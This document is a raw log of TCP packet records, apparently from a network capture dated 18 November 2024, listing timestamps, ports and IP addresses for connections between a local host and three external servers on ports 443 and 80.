Nov 18, 2024 18:22:23.197412014 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.197417974 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.197599888 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.197644949 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.197652102 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.197951078 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.197995901 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.198003054 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.225640059 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.225697041 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.225709915 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.227157116 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.227214098 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.227221966 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.227483988 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.227536917 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.227544069 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.227607965 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.227644920 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.227653980 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.228015900 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.228060961 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.228066921 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.228427887 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.228480101 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.228487015 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.228590012 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.228629112 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.228637934 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.310631990 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.310692072 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.310700893 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.310766935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.310775995 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.310811996 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.310820103 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311084986 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311120987 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311131001 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.311137915 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311171055 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.311391115 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311402082 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311436892 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.311767101 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311814070 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.311821938 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311937094 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.311981916 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.311989069 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.312345028 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.312391043 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.312397003 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.313009977 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.313047886 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.313091993 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:36.803253889 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:36.808346033 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:36.808420897 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:36.808487892 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:36.813642025 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.493957996 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.493993998 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494014978 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494033098 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494057894 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494115114 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494115114 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.494131088 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494158983 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494177103 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.494190931 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.494240046 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.494255066 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.499233961 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.499275923 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.499332905 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.499350071 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.499392986 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.614075899 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614094019 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614119053 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614141941 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.614144087 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614161015 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614177942 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614182949 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.614212990 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.614224911 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.614963055 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615005970 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.615117073 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615159988 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615199089 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.615246058 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615262032 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615291119 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.615650892 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615667105 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615681887 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.615701914 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.735977888 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.735999107 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736026049 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736044884 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736048937 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.736062050 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736078024 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736088991 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.736094952 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736109972 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736114979 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.736128092 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736144066 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736146927 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.736181974 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.736567974 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736728907 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736745119 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736761093 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.736769915 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.736798048 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.855983019 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.856008053 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.856025934 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.856040955 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.856056929 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.856064081 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.856074095 CET	80	49174	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:37.856091976 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:37.856106997 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:38.126641989 CET	49174	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:41.191679955 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:41.198120117 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:41.198175907 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:41.198791027 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:41.198818922 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:41.203742027 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:41.204664946 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390245914 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390294075 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390305996 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390321016 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390327930 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390367031 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.390402079 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.390422106 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390717030 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390722036 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390734911 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.390758038 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.390836954 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.395478964 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.395486116 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.395509005 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.395525932 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.395534039 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.395613909 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.550611019 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550688028 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550736904 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.550746918 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550802946 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550837040 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550841093 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.550872087 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550908089 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.550909042 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.551130056 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551170111 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.551295996 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551347971 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551389933 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.551508904 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551620007 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551650047 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.551654100 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551687002 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.551724911 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.668884039 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.668901920 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.668912888 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.668925047 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.668936968 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.668971062 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.668971062 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.669008970 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669167995 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669210911 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.669214010 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669225931 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669256926 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.669539928 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669678926 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669689894 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.669727087 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.710413933 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.710477114 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.710511923 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.710546970 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.710576057 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.710609913 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.787609100 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.787626982 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.787658930 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.787672997 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.787703991 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.787734985 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.787748098 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.787763119 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.787798882 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.788084984 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.788094997 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.788105965 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.788120031 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.788131952 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.788132906 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.788157940 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.828619003 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.828660965 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.828671932 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.828682899 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.828700066 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.828716993 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.828730106 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.905584097 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905649900 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905651093 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.905687094 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905720949 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905725002 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.905759096 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905793905 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.905808926 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905843973 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905879974 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.905890942 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.906167984 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.906213999 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.906223059 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.906256914 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.906296015 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.947083950 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.947109938 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.947122097 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.947180033 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:42.947201967 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.947213888 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.947226048 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:42.947251081 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.024163008 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024198055 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024211884 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024240017 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.024262905 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024270058 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.024337053 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024349928 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024378061 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.024561882 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024597883 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024601936 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.024607897 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.024653912 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.033272028 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.033293009 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.033337116 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.065450907 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.065491915 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.065506935 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.065558910 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.065570116 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.065572023 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.065583944 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.065612078 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.065618992 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.138634920 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.179452896 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179476023 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179491043 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179507971 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179542065 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.179574966 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.179651022 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179666042 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179709911 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.179807901 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179956913 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.179970026 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.180094004 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.180116892 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.180130005 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.180155993 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.184582949 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.184624910 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.184638023 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.184659958 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.184684038 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.184686899 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.184696913 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.184737921 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.197531939 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.260776997 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.260796070 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.260818005 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.260828972 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.260839939 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.260843039 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.260880947 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.261168957 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.261181116 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.261193991 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.261205912 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.261229992 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.261281967 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.261295080 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.261329889 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.302706957 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.302752018 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.302768946 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.302784920 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.302799940 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.302803040 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.302819014 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.311599016 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.347335100 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.347361088 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.347369909 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.347421885 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.379448891 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.379475117 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.379491091 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.379524946 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.379570961 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.379585981 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.379596949 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.379606009 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.379621983 CET	49175	80	192.168.2.22	46.173.214.24
Nov 18, 2024 18:22:43.380109072 CET	80	49175	46.173.214.24	192.168.2.22
Nov 18, 2024 18:22:43.380125046 CET	80	49175	46.173.214.24	192.168.2.22
